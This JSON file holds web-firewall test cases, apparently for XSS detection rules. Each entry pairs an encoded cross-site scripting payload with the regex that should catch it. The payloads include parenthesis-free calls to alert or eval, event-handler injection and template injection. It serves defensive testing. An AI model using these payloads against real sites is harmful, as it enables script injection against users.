"arg=btoa%28%29" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:eval|set(?:timeout|interval)|new[\\s\\x0b]+Function|a(?:lert|tob)|btoa|(?:promp|impor)t|con(?:firm|sole\\.(?:log|dir))|fetch)[\\s\\x0b]*[\\(\\{]", "negated": false } }, "transformations": [ "none", "htmlEntityDecode", "jsDecode" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941390", "test_description": "JavaScript call btoa" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "arg=prompt%28%29" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:eval|set(?:timeout|interval)|new[\\s\\x0b]+Function|a(?:lert|tob)|btoa|(?:promp|impor)t|con(?:firm|sole\\.(?:log|dir))|fetch)[\\s\\x0b]*[\\(\\{]", "negated": false } }, "transformations": [ "none", "htmlEntityDecode", "jsDecode" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941390", "test_description": "JavaScript call prompt" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "arg=confirm%28%29" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:eval|set(?:timeout|interval)|new[\\s\\x0b]+Function|a(?:lert|tob)|btoa|(?:promp|impor)t|con(?:firm|sole\\.(?:log|dir))|fetch)[\\s\\x0b]*[\\(\\{]", "negated": false } }, "transformations": [ "none", "htmlEntityDecode", "jsDecode" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941390", "test_description": "JavaScript call confirm" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "fp=If you’re looking for a personal recommendation, if you’re willing to import (and perhaps wait around, as they often sell out line has been consistently excellent so far." } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:eval|set(?:timeout|interval)|new[\\s\\x0b]+Function|a(?:lert|tob)|btoa|(?:promp|impor)t|con(?:firm|sole\\.(?:log|dir))|fetch)[\\s\\x0b]*[\\(\\{]", "negated": false } }, "transformations": [ "none", "htmlEntityDecode", "jsDecode" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941390", "test_description": "Known False positive:\nMatching `import (` in `if you’re willing to import (and perhaps wait around`\n" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "code=import { sayHi, sayBye } from \"./greeting.js\";" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:eval|set(?:timeout|interval)|new[\\s\\x0b]+Function|a(?:lert|tob)|btoa|(?:promp|impor)t|con(?:firm|sole\\.(?:log|dir))|fetch)[\\s\\x0b]*[\\(\\{]", "negated": false } }, "transformations": [ "none", "htmlEntityDecode", "jsDecode" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941390", "test_description": "True Positive:\nDetect import method with curly brackets\n" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "xss=%5B%5D.sort.call%60%24%7Balert%7D1337%60" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "((?:\\[[^\\]]*\\][^.]*\\.)|Reflect[^.]*\\.).*(?:map|sort|apply)[^.]*\\..*call[^`]*`.*`", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "compressWhitespace" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941400", "test_description": "JavaScript function without parentheses" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "xss=%5B%20%20%5D%20.%20sort%20.%20call%20%60%20%24%7B%20alert%20%7D%201337%20%60" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "((?:\\[[^\\]]*\\][^.]*\\.)|Reflect[^.]*\\.).*(?:map|sort|apply)[^.]*\\..*call[^`]*`.*`", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "compressWhitespace" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941400", "test_description": "JavaScript function without parentheses" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "xss=%5B%20%20%5D%20.%20%2F%2A%2A%2F%20sort%20.%20call%20%60%20%24%7B%20alert%20%7D%201337%20%60" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "((?:\\[[^\\]]*\\][^.]*\\.)|Reflect[^.]*\\.).*(?:map|sort|apply)[^.]*\\..*call[^`]*`.*`", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "compressWhitespace" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941400", "test_description": "JavaScript function without parentheses" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "xss=%5B%5D.map.call%60%24%7Beval%7D%5C%5Cu%7B61%7Dlert%5Cx281337%5Cx29%60" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "((?:\\[[^\\]]*\\][^.]*\\.)|Reflect[^.]*\\.).*(?:map|sort|apply)[^.]*\\..*call[^`]*`.*`", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "compressWhitespace" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941400", "test_description": "JavaScript function without parentheses" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "xss=%5B%201234%20%5D.%20map%20.%20call%60%24%7Beval%7D%2F%2A%20asd%20%2A%2F%5C%5Cu%7B61%7Dlert%5Cx281337%5Cx29%60" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "((?:\\[[^\\]]*\\][^.]*\\.)|Reflect[^.]*\\.).*(?:map|sort|apply)[^.]*\\..*call[^`]*`.*`", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "compressWhitespace" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941400", "test_description": "JavaScript function without parentheses" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "xss=Reflect.apply.call%60%24%7Bnavigation.navigate%7D%24%7Bnavigation%7D%24%7B%5Bname%5D%7D%60" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "((?:\\[[^\\]]*\\][^.]*\\.)|Reflect[^.]*\\.).*(?:map|sort|apply)[^.]*\\..*call[^`]*`.*`", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "compressWhitespace" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941400", "test_description": "JavaScript function without parentheses" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "test=Reflect.sort.call%60%60" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "((?:\\[[^\\]]*\\][^.]*\\.)|Reflect[^.]*\\.).*(?:map|sort|apply)[^.]*\\..*call[^`]*`.*`", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "compressWhitespace" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941400", "test_description": "Status Page Test - JavaScript minimal test with Reflect.sort.call``" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "%20%20onload%3d%20=vardata" } ], "attack_context": { "method": "POST", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\s\\\"'`;/0-9=\\x0B\\x09\\x0C\\x3B\\x2C\\x28\\x3B]on[a-zA-Z]{3,50}[\\s\\x0B\\x09\\x0C\\x3B\\x2C\\x28\\x3B]*?=[^=]", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941120", "test_description": "XSS Filter - Category 2: Event Handler Vector" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "%20%20onabcdefgh%3d%20=vardata" } ], "attack_context": { "method": "POST", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\s\\\"'`;/0-9=\\x0B\\x09\\x0C\\x3B\\x2C\\x28\\x3B]on[a-zA-Z]{3,50}[\\s\\x0B\\x09\\x0C\\x3B\\x2C\\x28\\x3B]*?=[^=]", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941120", "test_description": "XSS Filter - Category 2: Event Handler Vector" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "%20%20onab%3d%20=vardata" } ], "attack_context": { "method": "POST", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\s\\\"'`;/0-9=\\x0B\\x09\\x0C\\x3B\\x2C\\x28\\x3B]on[a-zA-Z]{3,50}[\\s\\x0B\\x09\\x0C\\x3B\\x2C\\x28\\x3B]*?=[^=]", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941120", "test_description": "XSS Filter - Category 2: Event Handler Vector" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "%20%20onabcdefghijklmnopqrstuvwxyz%3d%20=vardata" } ], "attack_context": { "method": "POST", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\s\\\"'`;/0-9=\\x0B\\x09\\x0C\\x3B\\x2C\\x28\\x3B]on[a-zA-Z]{3,50}[\\s\\x0B\\x09\\x0C\\x3B\\x2C\\x28\\x3B]*?=[^=]", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941120", "test_description": "XSS Filter - Category 2: Event Handler Vector - now a positive test after updating lenght to 50" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "%20%20onwebkitplaybacktargetavailabilitychanged%3d%20=vardata" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\s\\\"'`;/0-9=\\x0B\\x09\\x0C\\x3B\\x2C\\x28\\x3B]on[a-zA-Z]{3,50}[\\s\\x0B\\x09\\x0C\\x3B\\x2C\\x28\\x3B]*?=[^=]", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941120", "test_description": "Test longer event name onwebkitplaybacktargetavailabilitychanged" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "%20%20onthisisaverylongwordthathasmorethanfiftycharacters%20=vardata" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "REQUEST_HEADERS", "part": "Referer", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\s\\\"'`;/0-9=\\x0B\\x09\\x0C\\x3B\\x2C\\x28\\x3B]on[a-zA-Z]{3,50}[\\s\\x0B\\x09\\x0C\\x3B\\x2C\\x28\\x3B]*?=[^=]", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941120", "test_description": "Negative test: word longer than 50 chars - onthisisaverylongwordthathasmorethanfiftycharacters (51 chars)" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "941150-1%3D%3Ca%20href%3D%22test%22" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:s(?:tyle|rc)|href)\\b[\\s\\S]*?=", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941150", "test_description": "Disallowed HTML entities, ARGS" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "payload=XSS" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "REQUEST_HEADERS", "part": "User-Agent", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:s(?:tyle|rc)|href)\\b[\\s\\S]*?=", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941150", "test_description": "Disallowed HTML entities, ARGS" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "941181-1=-->" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@contains", "argument": "-->", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "lowercase", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941181", "test_description": "Node-validator deny list keywords, ARGS" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "941181-1=--%3E" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@contains", "argument": "-->", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "lowercase", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941181", "test_description": "Node-validator deny list keywords, ARGS" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "-->=941181-3" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@contains", "argument": "-->", "negated": false } }, "transformations": [ "none", "utf8toUnicode", "urlDecodeUni", "htmlEntityDecode", "jsDecode", "cssDecode", "lowercase", "removeNulls" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941181", "test_description": "Node-validator deny list keywords, ARGS_NAMES" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=\">" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i:[\\\"'][ ]*(?:[^a-z0-9~_:' ]|in).*?(?:(?:l|\\x5cu006C)(?:o|\\x5cu006F)(?:c|\\x5cu0063)(?:a|\\x5cu0061)(?:t|\\x5cu0074)(?:i|\\x5cu0069)(?:o|\\x5cu006F)(?:n|\\x5cu006E)|(?:n|\\x5cu006E)(?:a|\\x5cu0061)(?:m|\\x5cu006D)(?:e|\\x5cu0065)|(?:o|\\x5cu006F)(?:n|\\x5cu006E)(?:e|\\x5cu0065)(?:r|\\x5cu0072)(?:r|\\x5cu0072)(?:o|\\x5cu006F)(?:r|\\x5cu0072)|(?:v|\\x5cu0076)(?:a|\\x5cu0061)(?:l|\\x5cu006C)(?:u|\\x5cu0075)(?:e|\\x5cu0065)(?:O|\\x5cu004F)(?:f|\\x5cu0066)).*?=)", "negated": false } }, "transformations": [ "none", "htmlEntityDecode", "compressWhitespace" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941330", "test_description": "XSS test based on portswigger XSS cheatsheet" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=' infoo.bar=&var2=whatever" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"\\'][ ]*(?:[^a-z0-9~_:\\' ]|in).+?[.].+?=", "negated": false } }, "transformations": [ "none", "htmlEntityDecode", "compressWhitespace" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941340", "test_description": "IE XSS Filters - Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "payload=XSS" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\\"\\'][ ]*(?:[^a-z0-9~_:\\' ]|in).+?[.].+?=", "negated": false } }, "transformations": [ "none", "htmlEntityDecode", "compressWhitespace" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941340", "test_description": "XSS test based on portswigger XSS cheatsheet" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "user=%20x%20%7B%7Bconstructor.constructor(%27alert(1)%27)()%7D%7D%20.%20ff" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "REQUEST_FILENAME", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "{{.*?}}", "negated": false } }, "transformations": [ "none" ], "attack_type": [ "attack-xss" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "941380", "test_description": "AngularJS client side template injection detection" } } ]